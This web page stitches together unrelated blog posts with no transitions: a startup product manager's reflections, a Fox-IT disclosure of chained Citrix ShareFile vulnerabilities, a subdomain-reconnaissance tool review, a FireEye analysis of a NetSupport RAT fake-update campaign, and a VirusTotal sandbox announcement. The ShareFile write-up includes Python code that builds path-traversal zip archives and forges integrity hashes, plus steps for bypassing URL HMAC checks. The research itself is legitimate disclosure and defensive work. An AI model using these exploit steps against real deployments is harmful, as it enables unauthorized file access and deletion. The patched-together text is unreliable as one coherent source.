I’m presently responsible for product management at Minerva Labs, a young endpoint security company. I’m loving the make-or-break feeling of the startup. For the first time, I’m overseeing the direction of a core product that’s built in-house, rather than managing a solution built upon third-party technology. It’s gratifying to be involved in the creation of new technology in such a direct way.

There are lots of challenges, of course, but every day feels like an adventure, as we fight for the seat at the big kids table, grow the customer base and break new ground with innovative anti-malware approaches. It’s a risky environment with high highs and low lows, but it feels like the right place for me right now.

Which Setting is Best for You?

Numerous differences between startups and large companies affect the experience of working in these firms. The distinction is highly pronounced for product managers, who oversee the creation of the solutions sold by these companies. You need to understand these differences prior to deciding which of the environments is best for you, but that’s just a start. Next, understand what is best for you, given where you are in life and your professional development. Sometimes the capabilities that you as a product manager will have in an established firm will be just right; at others, you will thrive in a startup. Work in the environment that appeals to you, but also know when (or whether) it’s time to make a change.

Compromising Citrix ShareFile on-premise via 7 chained vulnerabilities

A while ago we investigated a setup of Citrix ShareFile with an on-premise StorageZone controller. ShareFile is a file sync and sharing solution aimed at enterprises. While there are versions of ShareFile that are fully managed in the cloud, Citrix offers a hybrid version where the data is stored on-premise via StorageZone controllers. This blog describes how Fox-IT identified several vulnerabilities, which together allowed any account to (from the internet) access any file stored within ShareFile. Fox-IT disclosed these vulnerabilities to Citrix, which mitigated them via updates to their cloud platform. The vulnerabilities identified were all present in the StorageZone controller component, and thus cloud-only deployments were not affected. According to Citrix, several fortune-500 enterprises and organisations in the government, tech, healthcare, banking and critical infrastructure sectors use ShareFile (either fully in the Cloud or with an on-premise component).

Sharefile

Gaining initial access

After mapping the application surface and the flows, we decided to investigate the upload flow and the connection between the cloud and on-premise components of ShareFile. There are two main ways to upload files to ShareFile: one based on HTML5 and one based on a Java Applet. In the following examples we are using the Java based uploader. All requests are configured to go through Burp, our go-to tool for assessing web applications.
When an upload is initialized, a request is posted to the ShareFile cloud component, which is hosted at name.sharefile.eu (where name is the name of the company using the solution):

Initialize upload

We can see the request contains information about the upload, among which is the filename, the size (in bytes), the tool used to upload (in this case the Java uploader) and whether we want to unzip the upload (more about that later). The response to this request is as follows:

Initialize upload response

In this response we see two different upload URLs. Both use the URL prefix (which is redacted here) that points to the address of the on-premise StorageZone controller. The cloud component thus generates a URL that is used to upload the files to the on-premise component.

The first URL is the ChunkUri, to which the individual chunks are uploaded. When the filetransfer is complete, the FinishUri is used to finalize the upload on the server. In both URLs we see the parameters that we submitted in the request such as the filename, file size, et cetera. It also contains an uploadid which is used to identify the upload. Lastly we see a h= parameter, followed by a base64 encoded hash. This hash is used to verify that the parameters in the URL have not been modified.

The unzip parameter immediately drew our attention. As visible in the screenshot below, the uploader offers the user the option to automatically extract archives (such as .zip files) when they are uploaded.

Extract feature

A common mistake made when extracting zip files is not correctly validating the path in the zip file. By using a relative path it may be possible to traverse to a different directory than intended by the script. This kind of vulnerability is known as a directory traversal or path traversal.

The following python code creates a special zip file called out.zip, which contains two files, one of which has a relative path.

import sys, zipfile
#the name of the zip file to generate
zf = zipfile.ZipFile('out.zip', 'w')
#the name of the malicious file that will overwrite the origial file (must exist on disk)
fname = 'xxe_oob.xml'
#destination path of the file
zf.write(fname, '../../../../testbestand_fox.tmp')
#random extra file (not required)
#example: dd if=/dev/urandom of=test.file bs=1024 count=600
fname = 'test.file'
zf.write(fname, 'tfile')

When we upload this file to ShareFile, we get the following message:

ERROR: Unhandled exception in upload-threaded-3.aspx - 'Access to the path '\\company.internal\data\testbestand_fox.tmp' is denied.'

This indicates that the StorageZone controller attempted to extract our file to a directory for which we lacked permissions, but that we were able to successfully change the directory to which the file was extracted. This vulnerability can be used to write user controlled files to arbitrary directories, provided the StorageZone controller has privileges to write to those directories. Imagine the default extraction path would be c:\appdata\citrix\sharefile\temp\ and we want to write to c:\appdata\citrix\sharefile\storage\subdirectory\ we can add a file with the name ../storage/subdirectory/filename.txt which will then be written to the target directory. The ../ part indicates that the Operating System should go one directory higher in the directory tree and use the rest of the path from that location.

Vulnerability 1: Path traversal in archive extraction

From arbitrary write to arbitrary read

While the ability to write arbitrary files to locations within the storage directories is a high-risk vulnerability, the impact of this vulnerability depends on how the files on disk are used by the application and if there are sufficient integrity checks on those files. To determine the full impact of being able to write files to the disk we decided to look at the way the StorageZone controller works. There are three main folders in which interesting data is stored:

  • files
  • persistenstorage
  • tokens

The first folder, files, is used to store temporary data related to uploads. Files already uploaded to ShareFile are stored in the persistentstorage directory. Lastly the tokens folder contains data related to tokens which are used to control the downloads of files.

When a new upload was initialized, the URLs contained a parameter called uploadid. As the name already indicates this is the ID assigned to the upload, in this case it is rsu-2351e6ffe2fc462492d0501414479b95. In the files directory, there are folders for each upload matching with this ID.

In each of these folders there is a file called info.txt, which contains information about our upload:

Info.txt

In the info.txt file we see several parameters that we saw previously, such as the uploadid, the file name, the file size (13 bytes), as well as some parameters that are new. At the end, we see a 32 character long uppercase string, which hints at an integrity hash for the data.
We see two other IDs, fi591ac5-9cd0-4eb7-a5e9-e5e28a7faa90 and fo9252b1-1f49-4024-aec4-6fe0c27ce1e6, which correspond with the file ID for the upload and folder ID to which the file is uploaded respectively.

After trying to figure out for a while what kind of hashing algorithm was used for the integrity check of this file, it turned out that it is a simple md5 hash of the rest of the data in the info.txt file. The twist here is that the data is encoded with UTF-16-LE, which is default for Unicode strings in Windows.

Armed with this knowledge we can write a simple python script which calculates the correct hash over a modified info.txt file and write this back to disk:

import md5
with open('info_modified.txt','r') as infile:
instr = infile.read().strip().split('|')
instr2 = u'|'.join(instr[:-1])
outhash = md5.new(instr2.encode('utf-16-le')).hexdigest().upper()
with open('info_out.txt','w') as outfile:
outfile.write('%s|%s' % (instr2, outhash))

Here we find our second vulnerability: the info.txt file is not verified for integrity using a secret only known by the application, but is only validated with an md5 hash against corruption. This gives an attacker that can write to the storage folders the possibility to alter the upload information.

Vulnerability 2: Integrity of data files (info.txt) not verified

Since our previous vulnerability enabled us to write files to arbitrary locations, we can upload our own info.txt and thus modify the upload information.
It turns out that when uploading data, the file ID fi591ac5-9cd0-4eb7-a5e9-e5e28a7faa90 is used as temporary name for the file. The data that is uploaded is written to this file, and when the upload is finilized this file is added to the users ShareFile account. We are going to attempt another path traversal here. Using the script above, we modify the file ID to a different filename to attempt to extract a test file called secret.txt which we placed in the files directory (one directory above the regular location of the temporary file). The (somewhat redacted) info.txt then becomes:

modified info.txt

When we subsequently post to the upload-threaded-3.aspx page to finalize the upload, we are presented with the following descriptive error:

File size does not match

Apparently, the filesize of the secret.txt file we are trying to extract is 14 bytes instead of 13 as the modified info.txt indicated. We can upload a new info.txt file which does have the correct filesize, and the secret.txt file is succesfully added to our ShareFile account:

File extraction POC

And thus we’ve successfully exploited a second path traversal, which is in the info.txt file.

Vulnerability 3: Path traversal in info.txt data

By now we’ve turned our ability to write arbitrary files to the system into the ability to read arbitrary files, as long as we do know the filename. It should be noted that all the information in the info.txt file can be found by investigating traffic in the web interface, and thus an attacker does not need to have an info.txt file to perform this attack.

Investigating file downloads

So far, we’ve only looked at uploading new files. The downloading of files is also controlled by the ShareFile cloud component, which instructs the StorageZone controller to serve the frequested files. A typical download link looks as follows:

Download URL

Here we see the dt parameter which contains the download token. Additionally there is a h parameter which contains a HMAC of the rest of the URL, to prove to the StorageZone controller that we are authorized to download this file.

The information for the download token is stored in an XML file in the tokens directory. An example file is shown below:

<!--?xml version="1.0" encoding="utf-8"?--><!--?xml version="1.0" encoding="utf-8"?--><?xml version="1.0" encoding="utf-8"?>
<ShareFileDownloadInfo authSignature="866f075b373968fcd2ec057c3a92d4332c8f3060" authTimestamp="636343218053146994">
<DownloadTokenID>dt6bbd1e278a634e1bbde9b94ff8460b24</DownloadTokenID>
<RequestType>single</RequestType>
<BaseUrl>https://redacted.sf-api.eu/</BaseUrl>
<ErrorUrl>https://redacted.sf-api.eu//error.aspx?type=storagecenter-downloadprep</ErrorUrl>
<StorageBasePath>\\s3\sf-eu-1\;</StorageBasePath>
<BatchID>dt6bbd1e278a634e1bbde9b94ff8460b24</BatchID>
<ZipFileName>tfile</ZipFileName>
<UserAgent>Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0</UserAgent>
<Metadata>
<Item key="operatingsystem" value="Linux" />
</Metadata>
<IrmEnabled>false</IrmEnabled>
<IrmPolicyServerUrl />
<IrmAccessId />
<IrmAccessKey />
<Items>
<File name="testfile" path="a4ea881a-a4d5-433a-fa44-41acd5ed5a5f\0f\0f\fi0f0f2e_3477_4647_9cdd_e89758c21c37" size="61" id="" />
</Items>
<Log>
<EventID>fif11465-ba81-8b77-7dd9-4256bc375017</EventID>
<UserID>c7add7af-91ac-4331-b48a-0aeed4a58687</UserID>
<OwnerID>c7add7af-91ac-4331-b48a-0aeed4a58687</OwnerID>
<AccountID>a4ea881a-a4d5-433a-fa44-41acd5ed5a5f</AccountID>
<UserEmailAddress>fox-it@redacted</UserEmailAddress>
<Name>tfile</Name>
<FileCount>1</FileCount>
<AdditionalInfo>fif11465-ba81-8b77-7dd9-4256bc375017</AdditionalInfo>
<FolderID>foh160ab-aa5a-4e43-96fd-e41caed36cea</FolderID>
<ParentID>foh160ab-aa5a-4e43-96fd-e41caed36cea</ParentID>
<Path>/root/a4ea881a-a4d5-433a-fa44-41acd5ed5a5f/foh160ab-aa5a-4e43-96fd-e41caed36cea</Path>
<IncrementDownloadCount>false</IncrementDownloadCount>
<ShareID />
</Log>
</ShareFileDownloadInfo>

Two things are of interest here. The first is the path property of the File element, which specifies which file the token is valid for. The path starts with the ID a4ea881a-a4d5-433a-fa44-41acd5ed5a5f which is the ShareFile AccountID, which is unique per ShareFile instance. Then the second ID fi0f0f2e_3477_4647_9cdd_e89758c21c37 is unique for the file (hence the fi prefix), with two 0f subdirectories for the first characters of the ID (presumably to prevent huge folder listings).

The second noteworthy point is the authSignature property on the ShareFileDownloadInfo element. This suggests that the XML is signed to ensure its authenticity, and to prevent malicious tokens from being downloaded.

At this point we started looking at the StorageZone controller software itself. Since it is a program written in .NET and running under IIS, it is trivial to decompile the binaries with toos such as JustDecompile. While we obtained the StorageZone controller binaries from the server the software was running on, Citrix also offers this component as a download on their website.

In the decompiled code, the functions responsible for verifying the token can quickly be found. The feature to have XML files with a signature is called AuthenticatedXml by Citrix. In the code we find that a static key is used to verify the integrity of the XML file (which is the same for all StorageZone controllers):

Static MAC secret

Vulnerability 4: Token XML files integrity integrity not verified

During our research we of course attempted to simply edit the XML file without changing the signature, and it turned out that it is not nessecary to calculate the signature as an attacker, since the application simply tells you what correct signature is if it doesn’t match:

Signature disclosure

Vulnerability 5: Debug information disclosure

Furthermore, when we looked at the code which calculates the signature, it turned out that the signature is calculated by prepending the secret to the data and calculating a sha1 hash over this. This makes the signature potentially vulnerable to a hash length extension attack, though we did not verify this in the time available.

Hashing of secret prepended

Even though we didn’t use it in the attack chain, it turned out that the XML files were also vulnerable to XML External Entity (XXE) injection:

XXE error

Vulnerability 6 (not used in the chain): Token XML files vulnerable to XXE

In summary, it turns out that the token files offer another avenue to download arbitrary files from ShareFile. Additionally, the integrity of these files is insufficiently verified to protect against attackers. Unlike the previously described method which altered the upload data, this method will also decrypt encrypted files if encrypted storage is enabled within ShareFile.

Getting tokens and files

At this point we are able to write arbitrary files to any directory we want and to download files if the path is known. The file path however consists of random IDs which cannot be guessed in a realistic timeframe. It is thus still necessary for an attacker to find a method to enumerate the files stored in ShareFile and their corresponding IDs.

For this last step, we go back to the unzip functionality. The code responsible for extracting the zip file is (partially) shown below.

Unzip code

What we see here is that the code creates a temporary directory to which it extracts the files from the archive. The uploadId parameter is used here in the name of the temporary directory. Since we do not see any validation taking place of this path, this operation is possibly vulnerable to yet another path traversal. Earlier we saw that the uploadId parameter is submitted in the URL when uploading files, but the URL also contains a HMAC, which makes modifying this parameter seemingly impossible:

HMAC Url

However, let’s have a look at the implementation first. The request initially passes through the ValidateRequest function below:

Validation part 1

Which then passes it to the second validation function:

Validation part 2

What happens here is that the h parameter is extracted from the request, which is then used to verify all parameters in the url before the h parameter. Thus any parameters following the h in the URL are completely unverified!

So what happens when we add another parameter after the HMAC? When we modify the URL as follows:

uploadid-double.png

We get the following message:

{"error":true,"errorMessage":"upload-threaded-2.aspx: ID='rsu-becc299a4b9c421ca024dec2b4de7376,foxtest' Unrecognized Upload ID.","errorCode":605}

So what happens here? Since the uploadid parameter is specified multiple times, IIS concatenates the values which are separated with a comma. Only the first uploadid parameter is verified by the HMAC, since it operates on the query string instead of the individual parameter values, and only verifies the portion of the string before the h parameter. This type of vulnerability is known as HTTP Parameter Polution.

Vulnerability 7: Incorrectly implemented URL verification (parameter pollution)

Looking at the upload logic again, the code calls the function UploadLogic.RecursiveIteratePath after the files are extracted to the temporary directory, which recursively adds all the files it can find to the ShareFile account of the attacker (some code was cut for readability):

Recursive iteration

To exploit this, we need to do the following:

  • Create a directory called rsu-becc299a4b9c421ca024dec2b4de7376, in the files directory.
  • Upload an info.txt file to this directory.
  • Create a temporary directory called ulz-rsu-becc299a4b9c421ca024dec2b4de7376,.
  • Perform an upload with an added uploadid parameter pointing us to the tokens directory.

The creation of directories can be performed with the directory traversal that was initially identified in the unzip operation, since this will create any non-existing directories. To perform the final step and exploit the third path traversal, we post the following URL:

Upload ID path traversal

Side note: we use tokens_backup here because we didn’t want to touch the original tokens directory.

Which returns the following result that indicates success:

Upload ID path traversal result

Going back to our ShareFile account, we now have hundreds of XML files with valid download tokens available, which all link to files stored within ShareFile.

Download tokens

Vulnerability 8: Path traversal in upload ID

We can download these files by modifying the path in our own download token files for which we have the authorized download URL.
The only side effect is that adding files to the attackers account this way also recursively deletes all files and folders in the temporary directory. By traversing the path to the persistentstorage directory it is thus also possible to delete all files stored in the ShareFile instance.

Conclusion

By abusing a chain of correlated vulnerabilities it was possible for an attacker with any account allowing file uploads to access all files stored by the ShareFile on-premise StorageZone controller.

Based on our research that was performed for a client, Fox-IT reported the following vulnerabilities to Citrix on July 4th 2017:

  1. Path traversal in archive extraction
  2. Integrity of data files (info.txt) not verified
  3. Path traversal in info.txt data
  4. Token XML files integrity integrity not verified
  5. Debug information disclosure (authentication signatures, hashes, file size, network paths)
  6. Token XML files vulnerable to XXE
  7. Incorrectly implemented URL verification (parameter pollution)
  8. Path traversal in upload ID

Citrix was quick with following up on the issues and rolling out mitigations by disabling the unzip functionality in the cloud component of ShareFile. While Fox-IT identified several major organisations and enterprises that use ShareFile, it is unknown if they were using the hybrid setup in a vulnerable configuration. Therefor, the number of affected installations and if these issues were abused is unknown.

Disclosure timeline

  • July 4th 2017: Fox-IT reports all vulnerabilities to Citrix
  • July 7th 2017: Citrix confirms they are able to reproduce vulnerability 1
  • July 11th 2017: Citrix confirms they are able to reproduce the majority of the other vulnerabilities
  • July 12th 2017: Citrix deploys an initial mitigation for vulnerability 1, breaking the attack chain. Citrix informs us the remaining findings will be fixed on a later date as defense-in-depth measures
  • October 31st 2017: Citrix deploys additional fixes to the cloud-based ShareFile components
  • April 6th 2018: Disclosure

CVE: To be assigned

Finding subdomains for open source intelligence and pentest

Finding subdomains for open source intelligence and pentest

Many of us are in the security consulting business, or bug bounties, or even network intelligence and have now and then come across a need to find subdomains. The requirement can be from either side of the table - a consultant assessing a client's internet presence, or a company validating its own digital footprint. In more than a decade, it has happened so many times that people are not aware of what old assets are they running, and hence can be exploited to either damage the brand image, or actual networks. These assets can also be used as the proxy or hops to gain access to thought-so-well guarded data.

Most common way to search for subdomains (that I have used) so far is old school Google search with dorks: site:example.com. To dig deeper, iterate it with all visible subdomains from results, i.e. site:example.com -www or site:example.com -www -test. It will exclude example.com, www.example.com and test.example.com and so on. Later I found some more tools like, Pentest Tool Subdomain, DNS Dumster, Cloudpiercer, Netcraft etc. All these tools are either expensive or don't do the job well. Meh!

Finally, while having a conversation with the SPYSE team (the astounding squad behind CertDB project) and I got to know about their new project - FindSubDomains, a free and fantastic tool/ project to find subdomains for a given domain. Last time I covered their CertDB project in detail, and now after being impressed by FindSubDomains, it was time to review and share with you this excellent tool! It not only lists subdomains but a whole lot of intelligence behind it like,

  1. IP Addresses
  2. DNS records
  3. Countries
  4. Subnets
  5. AS Blocks
  6. Organization names etc.

Any of these parameters can be used to filter the list of subdomains, or search - I mean, it's terrific!

But how does this stack against the common known tools? Let's find out. For the sake of testing, let's take the domain apple.com and try finding the subdomains with different tools/ mediums. Let's start with old school google search,

Finding subdomains for open source intelligence and pentest

Only after 4-5 searches/iterations, it became a tedious process. And, when you try to automate it; Google merely pops up re-captcha challenge. In general, it's worth to search few targeted domains, but worthless to query wild subdomains. Not recommended for such tasks!

How about using the pentest-tools tool? First thing first, it is not a free service and would require you to buy credits. I just performed a free search, and the results were not convincing with pentest-tools,

Finding subdomains for open source intelligence and pentest

After the search, it could only find 87 subdomains of apple.com, and the details included subdomain and respective IP addresses. Netcraft and DNSDumster also had the same disappointing results - the first found 180 records with no scope to download or filter them, and the later was capped at 150 results with lousy UI/UX. To summarise none of the tools could deliver a straightforward and intelligent list of subdomains.

FindSubDomains: Is it any different; any better?

To give you a straight answer - Hell yes! Kudos to the SPYSE team, it is way better than the ones I were using before.
The same apple.com subdomain search performed via FindSubDomains resulted in 1900+ results. It is remarkable!

I mean when others failed miserably to provide even 200 results, FindSubDomains just nailed it with 1900+ results. Bravo!

Finding subdomains for open source intelligence and pentest

All of these 1900+ results are at your disposal without paying a single cent, pop-up advertisement, credits or cap etc. You not only can list these results on the UI but also download them as TXT file. Also, you can view the IP address, geographical region, IP segment and respective AS block details for each subdomain. That is some remarkable open source intelligence in a second without scripts or endless iterations!

To me, the SPYSE team 100% justify their project objective,

FindSubDomains is designed to automate subdomains discovering. This task often comes before system security specialists who study the company in the form of a black box in order to search for vulnerabilities, as well as for marketers and entrepreneurs whose goal is to competitively analyze other players on the market in the hope of quickly learning about the emergence of a new vector in the development of a competitor, as well as obtaining information about the internal infrastructure.

FindSubDomains: Search and Filter

On top of the search, their filters are amazing if you have to search specific information on a domain, subdomain or it's respective fields as discussed. They also have some pre-filtered results or trivia points,

  1. Top 100 sites and their subdomains: https://findsubdomains.com/world-top
  2. Sites with the highest number of subdomains: https://findsubdomains.com/top-subdomain-count
  3. Top countries with the highest number of subdomains: https://findsubdomains.com/countries
    = UNITED STATES: https://findsubdomains.com/world-top?country=US
    = INDIA: https://findsubdomains.com/world-top?country=IN
    = CHINA: https://findsubdomains.com/world-top?country=CN
  4. Top names for subdomains (my favourite) or most common subdomains: https://findsubdomains.com/top-subdomain-name-count

The last one is convenient when network surveying a client, or shocking client with their digital footprint.
Finding subdomains for open source intelligence and pentest

FindSubDomains: Dashboard and Custom Tasks

Now, when I signed-in (sign-up is easy) I was welcomed by a Dashboard which shows Total, Ongoing and Remaining tasks. I can start a new task by either using the domain or a word to search. The word search is great if I don't know the complete domain name. This task executing capability is to supplement anything you don't find on their main page, or existing database (which believe me is huge). For every task, it can list up to 50,000 subdomains for and takes around 6 minutes (you can setup alert, and the platform will notify you via email on its completion).

To execute the task of finding subdomains, it uses various techniques,

  1. Many subdomains can be defined using the site's crawling and analyzing its pages, as well as resource files;
  2. AXFR (DNS Zone Transfer) requests for some domains often reveal a lot of valuable information about them;
  3. Search and analysis of historical data often matches with the search term.
    Finding subdomains for open source intelligence and pentest

While the tool is impressive, and I can't repeat enough; I would have appreciated the capability to execute the tasks via an API, and having some programmable way to automate via command-line/ terminal. I know, I may find ways to do with curl, but API key would have made things more comfortable, and convenient.

FindSubDomains: Usage Scenarios

Here are some scenarios I can use this tool,

  1. During pentest reconnaissance phase, collecting information on the target network.
  2. As a supporting tool to gather network intelligence on firms and their respective domains.
  3. Assessing your company's network, and digital footprint. Many a times you will be surprised to find the wide unaccounted exposure.
  4. Keeping a track of external facing subdomains - UAT, SIT, STAGING etc. which ideally should either be locked down or white-listed. Imagine how insecure are these platforms which often even contain production data.

To summarize, this is yet another amazing tool after CertDB which shows the potential of SPYSE team. The FindSubDomains has made my search so easier and efficient. I would highly recommend the readers to use this tool in finding subdomains.

Cover Image Credit: Photo by Himesh Kumar Behera

Fake Software Update Abuses NetSupport Remote Access Tool

Over the last few months, FireEye has tracked an in-the-wild campaign that leverages compromised sites to spread fake updates. In some cases, the payload was the NetSupport Manager remote access tool (RAT). NetSupport Manager is a commercially available RAT that can be used legitimately by system administrators for remotely accessing client computers. However, malicious actors are abusing this application by installing it to the victims’ systems without their knowledge to gain unauthorized access to their machines. This blog details our analysis of the JavaScript and components used in instances where the identified payload was NetSupport RAT.

Infection Vector

The operator behind these campaigns uses compromised sites to spread fake updates masquerading as Adobe Flash, Chrome, and FireFox updates. When users navigate to the compromised website, the malicious JavaScript file is downloaded, mostly from a DropBox link. Before delivering the payload, the JavaScript sends basic system information to the server. After receiving further commands from the server, it then executes the final JavaScript to deliver the final payload. In our case, the JavaScript that delivers the payload is named Update.js, and it is executed from %AppData% with the help of wscript.exe. Figure 1 shows the infection flow.


Figure 1: Infection Flow

In-Depth Analysis of JavaScript

The initial JavaScript file contains multiple layers of obfuscation. Like other malicious scripts, the first layer has obfuscation that builds and executes the second layer as a new function. The second layer of the JavaScript contains the dec function, which is used to decrypt and execute more JavaScript code. Figure 2 shows a snapshot of the second layer.


Figure 2: Second Layer of Initial JavaScript File

In the second JavaScript file, the malware author uses a tricky method to make the analysis harder for reverse engineers. The author uses the caller and callee function code to get the key for decryption. During normal JavaScript analysis, if an analyst finds any obfuscated script, the analyst tries to de-obfuscate or beautify the script for analysis. JavaScript beautification tools generally add line breaks and tabs to make the script code look better and easier to analyze. The tools also try to rename the local variables and remove unreferenced variables and code from the script, which helps to analyze core code only.

But in this case, since the malware uses the caller and callee function code to derive the key, if the analyst adds or removes anything from the first or second layer script, the script will not be able to retrieve the key and will terminate with an exception. The code snippet in Figure 3 shows this trick.


Figure 3: Anti-Analysis Trick Implemented in JavaScript (Beautified Code)

The code decrypts and executes the JavaScript code as a function. This decrypted function contains code that initiates the network connection. In the decoded function, the command and control (C2) URL and a value named tid are hard-coded in the script and protected with some encoded function.

During its first communication to the server, the malware sends the tid value and the current date of the system in encoded format, and waits for the response from the server. It decodes the server response and executes the response as a function, as shown in Figure 4.


Figure 4: Initial Server Communication and Response

The response from the server is JavaScript code that the malware executes as a function named step2.

The step2 function uses WScript.Network and Windows Management Instrumentation(WMI) to collect the following system information, which it then encodes and sends to the server:

Architecture, ComputerName, UserName, Processors, OS, Domain, Manufacturer, Model, BIOS_Version, AntiSpywareProduct, AntiVirusProduct, MACAddress, Keyboard, PointingDevice, DisplayControllerConfiguration, ProcessList;

After sending the system information to the server, the response from the server contains two parts: content2 and content3.

The script (step2 function) decodes both parts. The decoded content3 part contains the function named as step3, as shown in Figure 5.


Figure 5: Decrypting and Executing Response step3

The step3 function contains code that writes decoded content2 into a %temp% directory as Update.js. Update.js contains code to download and execute the final payload. The step3 function also sends the resulting data, such as runFileResult and _tempFilePath, to the server, as shown in Figure 6.


Figure 6: Script to Drop and Execute Update.js

The Update.js file also contains multi-layer obfuscation. After decoding, the JavaScript contains code to drop multiple files in %AppData%, including a 7zip standalone executable (7za.exe), password-protected archive (Loglist.rtf), and batch script (Upd.cmd). We will talk more about these components later.

JavaScript uses PowerShell commands to download the files from the server. It sets the attribute’s execution policy to bypass and window-style to hidden to hide itself from the end user.

Components of the Attack

Figure 7 shows the index of the malicious server where we have observed the malware author updating the script content.


Figure 7: Index of Malicious Server

  • 7za.exe: 7zip standalone executable
  • LogList.rtf: Password-protected archive file
  • Upd.cmd: Batch script to install the NetSupport Client
  • Downloads.txt: List of IPs (possibly the infected systems)
  • Get.php: Downloads LogList.rtf
Upd.cmd

This file is a batch script that extracts the archive file and installs the remote control tool on the system. The script is obfuscated with the variable substitution method. This file was regularly updated by the malware during our analysis.

After de-obfuscating the script, we can see the batch commands in the script (Figure 8).


Figure 8: De-Obfuscated Upd.cmd Script

The script performs the following tasks:

  1. Extract the archive using the 7zip executable with the password mentioned in the script.
  2. After extraction, delete the downloaded archive file (loglist.rtf).
  3. Disable Windows Error Reporting and App Compatibility.
  4. Add the remote control client executable to the firewall’s allowed program list.
  5. Run remote control tool (client32.exe).
  6. Add Run registry entry with the name “ManifestStore” or downloads shortcut file to Startup folder.
  7. Hide the files using attributes.
  8. Delete all the artifacts (7zip executable, script, archive file).

Note: While analyzing the script, we found some typos in the script (Figure 9). Yes, malware authors make mistakes too. This script might be in beta phase. In the later version of script, the author has removed these typos.


Figure 9: Registry Entry Bloopers

Artifact Cleaning

As mentioned, the script contains code to remove the artifacts used in the attack from the victim’s system. While monitoring the server, we also observed some change in the script related to this code, as shown in Figure 10.


Figure 10: Artifact Cleaning Commands

The highlighted command in one of the variants indicates that it might drop or use this file in the attack. The file could be a decoy document.

Persistence Mechanism

During our analysis, we observed two variants of this attack with different persistence mechanisms.

In the first variant, the malware author uses a RUN registry entry to remain persistent in the system.

In the second variant, the malware author uses the shortcut file (named desktop.ini.lnk), which is hosted on the server. It downloads the shortcut file and places it into the Startup folder, as shown in Figure 11.


Figure 11: Downloading Shortcut File

The target command for the shortcut file points to the remote application “client32.exe,” which was dropped in %AppData%, to start the application on startup.

LogList.rtf

Although the file extension is .rtf, the file is actually a 7zipped archive. This archive file is password-protected and contains the NetSupport Manager RAT. The script upd.cmd contains the password to extract the archive.

The major features provided by the NetSupport tool include:

  • Remote desktop
  • File transfer
  • Remote inventory and system information
  • Launching applications in client’s machine
  • Geolocation
Downloads.txt

This file contains a list of IP addresses, which could be compromised systems. It has IPs along with User-agent. The IP addresses in the file belong to various regions, mostly the U.S., Germany, and the Netherlands.

Conclusion

RATs are widely used for legitimate purposes, often by system administrators. However, since they are legitimate applications and readily available, malware authors can easily abuse them and sometimes can avoid user suspicion as well.

The FireEye HX Endpoint platform successfully detects this attack at the initial phase of the attack cycle.

Acknowledgement

Thanks to my colleagues Dileep Kumar Jallepalli, Rakesh Sharma and Kimberly Goody for their help in the analysis.

Indicators of Compromise

Registry entries

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run :  ManifestStore

HKCU\Software\SeX\KEx

Files

%AppData%\ManifestStore\client32.exe

%AppData%\ManifestStore\client32.ini

%AppData%\ManifestStore\HTCTL32.DLL

%AppData%\ManifestStore\msvcr100.dll

%AppData%\ManifestStore\nskbfltr.inf

%AppData%\ManifestStore\NSM.ini

%AppData%\ManifestStore\NSM.LIC

%AppData%\ManifestStore\nsm_vpro.ini

%AppData%\ManifestStore\pcicapi.dll

%AppData%\ManifestStore\PCICHEK.DLL

%AppData%\ManifestStore\PCICL32.DLL

%AppData%\ManifestStore\remcmdstub.exe

%AppData%\ManifestStore\TCCTL32.DLL

%AppData%\systemupdate\Whitepaper.docx

Shortcut file

            %AppData%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini.lnk

Firewall program entry allowing the following application

            %AppData%\ManifestStore\client32.exe

Running process named “client32.exe” from the path “%AppData%\ManifestStore\client32.exe”

Hashes

The following hashes are JavaScript files that use the same obfuscation techniques described in the blog:

fc87951ae927d0fe5eb14027d43b1fc3

e3b0fd6c3c97355b7187c639ad9fb97a

a8e8b2072cbdf41f62e870ec775cb246

6c5fd3258f6eb2a7beaf1c69ee121b9f

31e7e9db74525b255f646baf2583c419

065ed6e04277925dcd6e0ff72c07b65a

12dd86b842a4d3fe067cdb38c3ef089a

350ae71bc3d9f0c1d7377fb4e737d2a4

c749321f56fce04ad8f4c3c31c7f33ff

c7abd2c0b7fd8c19e08fe2a228b021b9

b624735e02b49cfdd78df7542bf8e779

5a082bb45dbab012f17120135856c2fc

dc4bb711580e6b2fafa32353541a3f65

e57e4727100be6f3d243ae08011a18ae

9bf55bf8c2f4072883e01254cba973e6

20a6aa24e5586375c77b4dc1e00716f2

aa2a195d0581a78e01e62beabb03f5f0

99c7a56ba04c435372bea5484861cbf3

8c0d17d472589df4f597002d8f2ba487

227c634e563f256f396b4071ffda2e05

ef315aa749e2e33fc6df09d10ae6745d

341148a5ef714cf6cd98eb0801f07a01

Meet VirusTotal Droidy, our new Android sandbox

Recently we called out Additional crispinness on the MacOS box of apples sandbox, continuing with our effort to improve our malware behavior analysis infrastructure we are happy to announce the deployment of a new Android sandbox that replaces the existing system that was developed back in 2013.

This setup characterises the actions that Android APKs perform when installed and opened; it has been baptised as “VirusTotal Droidy”. Droidy has been integrated in the context of the multisandbox project and extracts juicy details such as:
  • Network communications and SMS-related activity. 
  • Java reflection calls. 
  • Filesystem interactions. 
  • SQLite database usage. 
  • Services started, stopped, etc. 
  • Permissions checked. 
  • Registered receivers. 
  • Crypto-related activity. 
  • Etc. 

You may find below a couple of reports showcasing this new functionality. Just select the “VirusTotal Droidy” entry in the multisandbox report selector (whenever there are multiple reports):

Don’t forget to also check the detailed report:


This advanced view allows you to dig into the hooked calls and take a look at the screenshots generated when running the apps:


The multisandbox project is in good shape, and now many samples have reports for multiple sandboxes. For instance, the following report allows you to see the output of Tencent HABO and VirusTotal Droidy:
As you can see, they are pretty complementary, proving the value of having different sandboxing technologies studying the same files.

To understand the extent to which this is an improvement with respect to the 2013 setup, you can take a look at the following report. It displays by default the output of the old sandbox. Use the selector to see the new report with VirusTotal Droidy:

Now, these may seem like minimal features to improve VirusTotal’s “microscope” capabilities for better understanding a particular threat. In fact, the changes go much deeper. All of our sandboxing information nurtures other services such as VirusTotal Intelligence and VirusTotal Graph. The richer the information that we generate for individual data set items, the greater the telescopic capabilities of VirusTotal. This is how we manage to fill in the dots and quickly see all activity tied to certain resources that often show up in malware investigations. For example, let us look at the graph of one of the domains seen in the previous reports:


